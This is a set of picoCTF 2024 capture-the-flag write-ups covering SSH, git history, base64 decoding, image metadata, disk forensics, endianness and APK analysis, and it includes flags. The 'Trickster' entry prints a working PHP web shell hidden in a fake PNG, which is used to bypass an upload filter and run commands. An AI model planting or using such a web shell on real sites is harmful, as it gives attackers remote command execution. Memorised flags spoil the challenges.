PicoCTF 2024

# Super SSH.md

Description Using a Secure Shell (SSH) is going to be pretty important. Can you ssh as ctf-player to titan.picoctf.net at port 52017 to get the flag? You’ll also need the password 6dd28e9b. If asked, accept the fingerprint with yes. solution ssh -p 52017 ctf-player@titan.picoctf.net ssh → Secure Shell, used to remotely log into another computer/server. -p 52017 → Specifies a non-default port (52017 instead of the usual 22). ctf-player@titan.picoctf.net → Says: username: ctf-player server: titan.picoctf.net after enter psd ...

# time machine

Description What was I last working on? I remember writing a note to help me remember… You can download the challenge files here: challenge.zip solution wget https://artifacts.picoctf.net/c_titan/68/challenge.zip unzip challenge.zip cd drop-in/ cat message.txt finally ┌──(root㉿Harsh)-[/home/jhagan/h/drop-in] └─# git log commit 705ff639b7846418603a3272ab54536e01e3dc43 (HEAD -> master) Author: picoCTF <ops@picoctf.com> Date: Sat Mar 9 21:10:36 2024 +0000 picoCTF{t1m3m@ch1n3_b476ca06} conclusion 1. Git keeps history — even if the file is changed or deleted Git records every commit (change) with: A unique commit hash An author and timestamp A commit message Even if the file with the sensitive information is later removed or modified, the data can still be recovered by checking older commits. ...

# Trickster

Description I found a web app that can help process images: PNG solution create a file with name (untitle.png.php) edit this file PNG <html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd'] . ' 2>&1'); } ?> </pre> </body> </html> upload this png file and type http://atlas.picoctf.net:58157/uploads/untitled.png.php RUN ls -al ls -al /var/www/html cat /var/www/html/GAZWIMLEGU2DQ.txt

# unminify

I don’t like scrolling down to read the code of my website, so I’ve squished it. As a bonus, my pages load faster! solution curl http://titan.picoctf.net:50120/ seeing the clear CTF in output flag : class=“picoCTF{pr3tty_c0d3_dbe259ce}”

# webdecode

WebDecode Do you know how to use the web inspector? Start searching here to find the flag Solution inspect the about page and there is a source code right above that header is a section with this attribute notify_true=“cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMDJjZGNiNTl9”. from64 decord this and find the flag . USE : https://gchq.github.io/CyberChef/#recipe=Magic(3,false,false,'') Flag: picoCTF{web_succ3ssfully_d3c0ded_02c…}

Blame Game.md

Description: Someone’s commits seems to be preventing the program from working. Who is it? You can download the challenge files here: challenge.zip Hints: In collaborative projects, many users can make many changes. How can you see the changes within one file? Read the chapter on Git from the picoPrimer here You can use python3 .py to try running the code, though you won’t need to for this challenge. Challenge link: https://play.picoctf.org/practice/challenge/405 Solution Analyse the git repo We start by unpacking the zip-file ...

canYouSeeMe

CanYouSeeMe Challenge Description How about some hide and seek? This challenge focuses on metadata analysis. The flag is hidden within the metadata of an image file. Download Challenge wget https://artifacts.picoctf.net/c_titan/6/unknown.zip Extract the archive: unzip unknown.zip This gives us: ukn_reality.jpg Initial Analysis A good first step in forensic challenges is checking file metadata. Run: exiftool ukn_reality.jpg What is ExifTool? ExifTool is a powerful command-line utility used to read, write, and edit metadata from files such as: ...

dearDiary

Description If you can find the flag on this disk image, we can close the case for good! Download the disk image here. 🧠 Step-by-Step Breakdown: 📥 1. Download and Extract the Disk Image wget https://artifacts.picoctf.net/c_titan/63/disk.flag.img.gz gunzip disk.flag.img.gz 🕵️ 2. Open with Autopsy (Forensic Tool) Autopsy is a digital forensics platform that lets you: Mount and explore disk images Recover deleted files View metadata, file content, etc. 📂 3. Explore the Root Directory Once loaded into Autopsy, the disk image showed 3 files in the root directory: ...

endianness-v2

Description Here’s a file that was recovered from a 32-bits system that organized the bytes a weird way. We’re not even sure what type of file it is. Download it here and see what you can get out of it Solution By using CyberChef the file was put into the input section. Then converted to hex for the “Swap Endianness” function under a word length of 4. After this, the hex looks more like a JPG with the correct ÿØÿà␀␐JFIF␀␁ magic bytes start. After the endianness was swapped and save the file . and it automatically saved with the exension of jpg . open this image and you finally get the flag . ...

mob Psycho

Description Can you handle APKs? Download the android apk here. Solution wget https://artifacts.picoctf.net/c_titan/142/mobpsycho.apk unzip mobpsycho.apk grep -iR picoCTF * strings mobpsycho.apk | grep flag output res/color/flag.txtUT 🔍 Breakdown: grep -iR picoCTF * grep — Command-line tool to search for text patterns in files. -i — Makes the search case-insensitive (picoctf, PicoCTF, PICOCTF, etc.). -R — Recursively searches all directories and subdirectories starting from the current one. picoCTF — The string you’re searching for (often the format of a flag in Capture The Flag (CTF) challenges). ...